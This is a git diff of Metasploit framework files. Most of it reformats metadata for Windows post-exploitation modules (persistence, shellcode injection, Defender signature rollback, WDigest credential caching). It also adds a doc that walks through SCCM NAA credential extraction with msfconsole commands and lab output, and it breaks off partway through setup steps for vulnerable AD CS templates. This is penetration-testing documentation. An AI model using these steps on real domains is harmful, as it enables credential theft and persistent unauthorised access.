"actions": [] }, "post_windows/manage/persistence_exe": { "name": "Windows Manage Persistent EXE Payload Installer", "fullname": "post/windows/manage/persistence_exe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279084,9 +247502,7 @@ "Merlyn drforbin Cousins " ], "description": "This Module will upload an executable to a remote host and make it Persistent.\n It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,\n SYSTEM will start on system boot but requires privs. SERVICE will create a new service\n which will start the payload. Again requires privs.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279116,16 +247532,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/portproxy": { "name": "Windows Manage Set Port Forwarding With PortProxy", "fullname": "post/windows/manage/portproxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279133,9 +247545,7 @@ "Borja Merino " ], "description": "This module uses the PortProxy interface from netsh to set up\n port forwarding persistently (even after reboot). PortProxy\n supports TCP IPv4 and IPv6 connections.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279149,22 +247559,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/powershell/build_net_code": { "name": "Powershell .NET Compiler", "fullname": "post/windows/manage/powershell/build_net_code", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-14", "type": "post", @@ -279172,9 +247577,7 @@ "RageLtMan " ], "description": "This module will build a .NET source file using powershell. The compiler builds\n the executable or library in memory and produces a binary. After compilation the\n PowerShell session can also sign the executable if provided a path the\n a .pfx formatted certificate. Compiler options and a list of assemblies\n required can be configured in the datastore.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279188,22 +247591,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/powershell/exec_powershell": { "name": "Windows Manage PowerShell Download and/or Execute", "fullname": "post/windows/manage/powershell/exec_powershell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279212,9 +247610,7 @@ "RageLtMan " ], "description": "This module will download and execute a PowerShell script over a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279228,22 +247624,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/powershell/load_script": { "name": "Load Scripts Into PowerShell Session", "fullname": "post/windows/manage/powershell/load_script", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279252,9 +247643,7 @@ "Dave Hardy davehardy20 " ], "description": "This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279268,22 +247657,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/pptp_tunnel": { "name": "Windows Manage Remote Point-to-Point Tunneling Protocol", "fullname": "post/windows/manage/pptp_tunnel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279307,22 +247691,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/priv_migrate": { "name": "Windows Manage Privilege Based Process Migration ", "fullname": "post/windows/manage/priv_migrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279331,9 +247710,7 @@ "theLightCosine " ], "description": "This module will migrate a Meterpreter session based on session privileges.\n It will do everything it can to migrate, including spawning a new User level process.\n For sessions with Admin rights: It will try to migrate into a System level process in the following\n order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.\n If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:\n It will try to migrate to a user level process, if that fails it will attempt to spawn the process\n then migrate to it. It will attempt the User level processes in the following order:\n NAME (if specified), explorer.exe, then notepad.exe.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279347,22 +247724,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/pxeexploit": { "name": "Windows Manage PXE Exploit Server", "fullname": "post/windows/manage/pxeexploit", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279370,9 +247742,7 @@ "scriptjunkie" ], "description": "This module provides a PXE server, running a DHCP and TFTP server.\n The default configuration loads a linux kernel and initrd into memory that\n reads the hard drive; placing a payload to install metsvc, disable the\n firewall, and add a new user metasploit on any Windows partition seen,\n and add a uid 0 user with username and password metasploit to any linux\n partition seen. The windows user will have the password p@SSw0rd!123456\n (in case of complexity requirements) and will be added to the administrators\n group.\n\n See exploit/windows/misc/pxesploit for a version to deliver a specific payload.\n\n Note: the displayed IP address of a target is the address this DHCP server\n handed out, not the \"normal\" IP address the host uses.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279386,22 +247756,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/reflective_dll_inject": { "name": "Windows Manage Reflective DLL Injection Module", "fullname": "post/windows/manage/reflective_dll_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279426,22 +247791,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/remove_ca": { "name": "Windows Manage Certificate Authority Removal", "fullname": "post/windows/manage/remove_ca", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279449,9 +247809,7 @@ "vt " ], "description": "This module allows the attacker to remove an arbitrary CA certificate\n from the victim's Trusted Root store.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279465,22 +247823,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/remove_host": { "name": "Windows Manage Host File Entry Removal", "fullname": "post/windows/manage/remove_host", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279488,9 +247841,7 @@ "vt " ], "description": "This module allows the attacker to remove an entry from the Windows hosts file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279504,22 +247855,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/rid_hijack": { "name": "Windows Manage RID Hijacking", "fullname": "post/windows/manage/rid_hijack", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279543,22 +247889,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/rollback_defender_signatures": { "name": "Disable Windows Defender Signatures", "fullname": "post/windows/manage/rollback_defender_signatures", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279567,9 +247908,7 @@ "luisco100 " ], "description": "This module with appropriate rights let to use the Windows Defender command-line utility a run and automation\n tool (mpcmdrun.exe) in order to disable all the signatures available installed for the compromised machine.\n The tool is prominently used for scheduling scans and updating the signature or definition files,\n but there is a switch created to restore the installed signature definitions to a previous backup copy or\n to the original default set of signatures which is none, disabling all the signatures and allowing malware\n to execute even with the Windows Defender solution enabled.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279587,12 +247926,8 @@ "Stability": [ "service-resource-loss" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" @@ -279612,9 +247947,7 @@ "post_windows/manage/rpcapd_start": { "name": "Windows Manage Remote Packet Capture Service Starter", "fullname": "post/windows/manage/rpcapd_start", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279622,9 +247955,7 @@ "Borja Merino " ], "description": "This module enables the Remote Packet Capture System (rpcapd service)\n included in the default installation of Winpcap. The module allows you to set up\n the service in passive or active mode (useful if the client is behind a firewall).\n If authentication is enabled you need a local user account to capture traffic.\n PORT will be used depending of the mode configured.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279638,22 +247969,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/run_as": { "name": "Windows Manage Run Command As User", "fullname": "post/windows/manage/run_as", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279661,9 +247987,7 @@ "Kx499" ], "description": "This module will login with the specified username/password and execute the\n supplied command as a hidden process. Output is not returned by default, by setting\n CMDOUT to true output will be redirected to a temp file and read back in to\n display. By setting advanced option SETPASS to true, it will reset the users\n password and then execute the command.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279677,22 +248001,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/run_as_psh": { "name": "Windows 'Run As' Using Powershell", "fullname": "post/windows/manage/run_as_psh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279700,9 +248019,7 @@ "p3nt4" ], "description": "This module will start a process as another user using powershell.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279716,22 +248033,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/sdel": { "name": "Windows Manage Safe Delete", "fullname": "post/windows/manage/sdel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279739,9 +248051,7 @@ "Borja Merino " ], "description": "The goal of the module is to hinder the recovery of deleted files by overwriting\n its contents. This could be useful when you need to download some file on the victim\n machine and then delete it without leaving clues about its contents. Note that the script\n does not wipe the free disk space so temporary/sparse/encrypted/compressed files could\n not be overwritten. Note too that MTF entries are not overwritten so very small files\n could stay resident within the stream descriptor.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279755,22 +248065,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/shellcode_inject": { "name": "Windows Manage Memory Shellcode Injection Module", "fullname": "post/windows/manage/shellcode_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279778,9 +248083,7 @@ "phra " ], "description": "This module will inject into the memory of a process a specified shellcode.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279794,22 +248097,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/sshkey_persistence": { "name": "SSH Key Persistence", "fullname": "post/windows/manage/sshkey_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": null, "type": "post", @@ -279817,9 +248115,7 @@ "Dean Welch " ], "description": "This module will add an SSH key to a specified user (or all), to allow\n remote login via SSH at any time.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279833,23 +248129,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/sticky_keys": { "name": "Sticky Keys Persistence Module", "fullname": "post/windows/manage/sticky_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279874,8 +248165,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" @@ -279895,9 +248185,7 @@ "post_windows/manage/vmdk_mount": { "name": "Windows Manage VMDK Mount Drive", "fullname": "post/windows/manage/vmdk_mount", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279921,22 +248209,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/vss": { "name": "Windows Manage Volume Shadow Copies", "fullname": "post/windows/manage/vss", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279964,9 +248247,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes", "artifacts-on-disk" @@ -280006,9 +248287,7 @@ "post_windows/manage/wdigest_caching": { "name": "Windows Post Manage WDigest Credential Caching", "fullname": "post/windows/manage/wdigest_caching", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280016,9 +248295,7 @@ "Kostas Lintovois " ], "description": "On Windows 8/2012 or higher, the Digest Security Provider (WDIGEST) is disabled by default. This module enables/disables\n credential caching by adding/changing the value of the UseLogonCredential DWORD under the WDIGEST provider's Registry key.\n Any subsequent logins will allow mimikatz to recover the plain text passwords from the system's memory.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280032,22 +248309,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/webcam": { "name": "Windows Manage Webcam", "fullname": "post/windows/manage/webcam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280055,9 +248327,7 @@ "sinn3r " ], "description": "This module will allow the user to detect installed webcams (with\n the LIST action) or take a snapshot (with the SNAPSHOT) action.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280071,8 +248341,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], @@ -280091,9 +248360,7 @@ "post_windows/recon/computer_browser_discovery": { "name": "Windows Recon Computer Browser Discovery", "fullname": "post/windows/recon/computer_browser_discovery", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280101,9 +248368,7 @@ "mubix " ], "description": "This module uses railgun to discover hostnames and IPs on the network.\n LTYPE should be set to one of the following values: WK (all workstations), SVR (all servers),\n SQL (all SQL servers), DC (all Domain Controllers), DCBKUP (all Domain Backup Servers),\n NOVELL (all Novell servers), PRINTSVR (all Print Que servers), MASTERBROWSER (all Master Browsers),\n WINDOWS (all Windows hosts), or UNIX (all Unix hosts).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280117,22 +248382,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/recon/outbound_ports": { "name": "Windows Outbound-Filtering Rules", "fullname": "post/windows/recon/outbound_ports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280156,22 +248416,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_bss_list": { "name": "Windows Gather Wireless BSS Info", "fullname": "post/windows/wlan/wlan_bss_list", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280179,9 +248434,7 @@ "theLightCosine " ], "description": "This module gathers information about the wireless Basic Service Sets\n available to the victim machine.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280195,22 +248448,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_current_connection": { "name": "Windows Gather Wireless Current Connection Info", "fullname": "post/windows/wlan/wlan_current_connection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280218,9 +248466,7 @@ "theLightCosine " ], "description": "This module gathers information about the current connection on each\n wireless lan interface on the target machine.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280234,22 +248480,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_disconnect": { "name": "Windows Disconnect Wireless Connection", "fullname": "post/windows/wlan/wlan_disconnect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280257,9 +248498,7 @@ "theLightCosine " ], "description": "This module disconnects the current wireless network connection\n on the specified interface.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280273,22 +248512,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_probe_request": { "name": "Windows Send Probe Request Packets", "fullname": "post/windows/wlan/wlan_probe_request", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280296,9 +248530,7 @@ "Borja Merino " ], "description": "This module send probe requests through the wlan interface.\n The ESSID field will be use to set a custom message.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280312,22 +248544,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/wlan/wlan_profile": { "name": "Windows Gather Wireless Profile", "fullname": "post/windows/wlan/wlan_profile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -280335,9 +248562,7 @@ "theLightCosine " ], "description": "This module extracts saved Wireless LAN profiles. It will also try to decrypt\n the network key material. Behavior is slightly different between OS versions\n when it comes to WPA. In Windows Vista/7 we will get the passphrase. In\n Windows XP we will get the PBKDF2 derived key.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -280351,14 +248576,11 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] } } \ No newline at end of file diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index e6917b8aa95ae..2e0f22c0f6d8b 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -892,7 +892,7 @@ In the following example the AUTO mode is used to issue a certificate for the MS authenticated. ```msf -msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85 +msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85 msf6 auxiliary(server/relay/esc8) > run [*] Auxiliary module running as background job 1. msf6 auxiliary(server/relay/esc8) > diff --git a/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md new file mode 100755 index 0000000000000..b05e36b28db71 --- /dev/null +++ b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md @@ -0,0 +1,150 @@ +## NAA Credential Exploitation + +The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but +in practice is often misconfigured to have excessive privileges. + +The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However, +it can also be requested by an existing computer account, which by default most user accounts are able to create. + + +## Module usage +The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: + +1. From msfconsole +2. Do: `use auxiliary/admin/dcerpc/samr_account` +3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options + a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically + b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option + c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option +4. Run the module and see that a new machine account was added + +Then the `auxiliary/admin/sccm/get_naa_credentials` module can be used: + +1. `use auxiliary/admin/sccm/get_naa_credentials` +2. Set the `RHOST` value to a target domain controller (if LDAP autodiscovery is used) +3. Set the `USERNAME` and `PASSWORD` information to a domain account +4. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +5. Run the module to obtain the NAA credentials, if present. + +Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery: + +1. `use auxiliary/admin/sccm/get_naa_credentials` +2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module +3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values. +4. Run the module to obtain the NAA credentials, if present. + +The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. + +See the Scenarios for a more detailed walk through + +## Options + +### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST +Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. + +### COMPUTER_USER, COMPUTER_PASSWORD + +Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of +a computer account, you can use that for COMPUTER_PASSWORD. + +### MANAGEMENT_POINT +The SCCM server. + +### SITE_CODE +The Site Code of the management point. + +## Scenarios +In the following example the user `ssccm.lab\eve` is a low-privilege user. + +### Creating computer account + +``` +msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:445 - Adding computer +[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-2KVDWNZ3$ +[+] 192.168.33.10:445 - Password: pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128 +[*] Auxiliary module execution completed +``` + +### Running with Autodiscovery +Using the credentials just obtained with the `samr_account` module. + +``` +msf6 auxiliary(admin/sccm/get_naa_credentials) > options + +Module options (auxiliary/admin/sccm/get_naa_credentials): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMPUTER_PASS yes The password of the provided computer account + COMPUTER_USER yes The username of a computer account + MANAGEMENT_POINT no The management point (SCCM server) to use + SITE_CODE no The site code to use on the management point + SSL false no Enable SSL on the LDAP connection + VHOST no HTTP server virtual host + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION 1 no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN no The domain to authenticate to + PASSWORD no The password to authenticate with + RHOSTS no The domain controller (for autodiscovery). Not required if providing a management point and site code + RPORT 389 no The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code (TCP) + USERNAME no The username to authenticate with + + +View the full module info with the info, or info -d command. +msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +[*] Running module against 192.168.33.10 + +[*] Discovering base DN automatically +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +[+] Found Management Point: MECM.sccm.lab (Site code: P01) +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` + +### Manual discovery + +``` +msf6 auxiliary(gather/ldap_query) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou +[*] Running module against 192.168.33.10 + +[*] 192.168.33.10:389 Discovered base DN: DC=sccm,DC=lab +CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab +========================================================================= + + Name Attributes + ---- ---------- + cn SMS-MP-P01-MECM.SCCM.LAB + dnshostname MECM.sccm.lab + mssmssitecode P01 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed + +msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials + +msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 + +[*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E +[*] Waiting 5 seconds for SCCM DB to update... +[*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md b/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md index 2011de18fa85c..fecfda84343bc 100644 --- a/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md +++ b/documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md @@ -79,6 +79,58 @@ a normal user account by analyzing the objects in LDAP. 1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`. 1. The certificate should now be available to be issued by the CA server. +### Setting up a ESC4 Vulnerable Certificate Template +1. Follow the instructions above to duplicate the ESC2 template and name it `ESC4-Template`, then click `Apply`. +1. Go to the `Security` tab. +1. Under `Groups or usernames` select `Authenticated Users` +1. Under `Permissions for Authenticated Users` select `Write` -> `Allow`. +1. Click `Apply` and then click `OK` to issue the certificate. +1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. +1. Click `New` followed by `Certificate Template to Issue`. +1. Scroll down and select the `ESC3-Template2` certificate, and select `OK`. +1. The certificate should now be available to be issued by the CA server. + +### Setting up a ESC13 Vulnerable Certificate Template +1. Follow the instructions above to duplicate the ESC2 template and name it `ESC13`, then click `Apply`. +1. Go to the `Extensions` tab, click the Issuance Policies entry, click the `Add` button, click the `New...` button. +1. Name the new issuance policy `ESC13-Issuance-Policy`. +4. Copy the Object Identifier as this will be needed later (ex: 11.3.6.1.4.1.311.21.8.12682474.6065318.6963902.6406785.3291287.83.1172775.12545198`). +1. Leave the CPS location field blank. +1. Click `Apply`. +1. Open Active Directory Users and Computers, expand the domain on the left hand side. +1. Right click `Users` and navigate to New -> Group. +1. Enter `ESC13-Group` for the Group Name. +1. Select `Universal` for Group scope and `Security` for Group type. +1. Click `Apply`. +1. Open ADSI Edit. +1. In the left hand side right click `ADSI Edit` and select `Connect to...`. +1. Under `Select a well known naming context` select `Default naming context`. +1. Select the newly established connection, select the domain, select `CN=User`. +1. On the right hand side find the recently created security group `CN=ESC13-Group`, right click select properties. +1. Copy the value of the `distinguishedName` attribute, save this as we'll need it later. +1. Back on the left hand side establish another connection, right click `ADSI Edit` and select `Connect to...`. +1. This time under `Select a well known naming context` select `Configuration`. +1. Select the newly established connection, select the domain, select `CN=Services` -> `CN=Public Key Services` -> `CN=OID`. +1. In the right hand side find the object that corresponds to the Object Identifier saved earlier. +1. The OID saved earlier ended in `12545198`, the object on the right will start with `CN=12545198.` followed by 34 hex characters. ex: `CN=12545198.7BCA239924D9515E63EA6B6F00748837`). +1. Once located right click -> properties, select `msDS-OIDToGroupLink`. +1. Paste the `distingushedName` of the security group saved above (ex: `CN=ESC13-Group,CN=Users,DC=demo,DC=lab`). +1. Click `Apply`. +1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder. +1. Click 